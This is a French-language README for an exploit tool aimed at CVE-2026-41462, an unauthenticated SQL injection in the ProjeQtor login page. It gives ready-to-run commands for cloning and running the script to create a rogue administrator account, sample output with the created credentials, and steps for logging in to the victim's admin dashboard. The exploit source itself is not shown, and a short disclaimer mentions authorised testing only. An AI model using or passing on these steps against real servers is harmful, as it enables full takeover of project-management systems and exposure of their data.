🚨 CVE-2026-41462 - ProjeQtor Injection SQL non authentifiée

---

Injection SQL non authentifiée critique dans ProjeQtor ≤ 12.4.3

📌 Vue d'ensemble

CVE-2026-41462 est une vulnérabilité critique d'injection SQL non authentifiée dans la fonctionnalité de connexion de l'outil de gestion de projet ProjeQtor.

• ID CVE : CVE-2026-41462
• Versions affectées : ProjeQtor 7.0 à 12.4.3
• Version corrigée : 12.4.4
• Sévérité : Critique (CVSS 9.8)
• Type : Injection SQL empilée non authentifiée

🛠️ Exploitation

Utilisation

python3 CVE-2026-41462.py -u http://target.com --create-admin

# With custom credentials
python3 CVE-2026-41462.py -u http://target.com --create-admin \
  --username admin123 --password StrongPass2026!

📊 Ce que vous verrez si cela fonctionne

Lorsque l'exploit réussit, vous verrez une sortie similaire à ceci :

[+] Targeting: http://target.com
[+] Sending payload to create admin user 'hacker' ...
[+] Request sent successfully.
[+] New admin created → Username: hacker | Password: Admin123!
[+] Try logging in at: http://target.com/login.php

Après l'exécution de l'exploit :

1. Ouvrez votre navigateur et allez sur :
   http://target.com/login.php

2. Connectez-vous avec les identifiants affichés dans la sortie du script.

3. Si la connexion réussit, vous arriverez sur le tableau de bord administrateur ProjeQtor avec tous les privilèges administratifs.

Indicateurs de succès :

• Vous pouvez consulter tous les projets, les utilisateurs et les paramètres système
• Vous pouvez créer/modifier/supprimer des projets sans restriction
• Le nouvel utilisateur apparaît dans la section de gestion des utilisateurs

📁 Contenu du dépôt

🚀 Démarrage rapide

1. Clonez le dépôt :

   root@kitploit:~

   git clone https://github.com/0xBlackash/CVE-2026-41462.git
   cd CVE-2026-41462
   

2. Exécutez l'exploit :

   root@kitploit:~

   python3 CVE-2026-41462.py -u http://target.com --create-admin
   

3. Connectez-vous avec le compte administrateur nouvellement créé.

⚠️ Avertissement

Cet outil est destiné uniquement à des fins éducatives et à des tests d'intrusion autorisés. Toute utilisation non autorisée est illégale.

📄 Références

• NVD - CVE-2026-41462
• Correctif officiel ProjeQtor (v12.4.4+)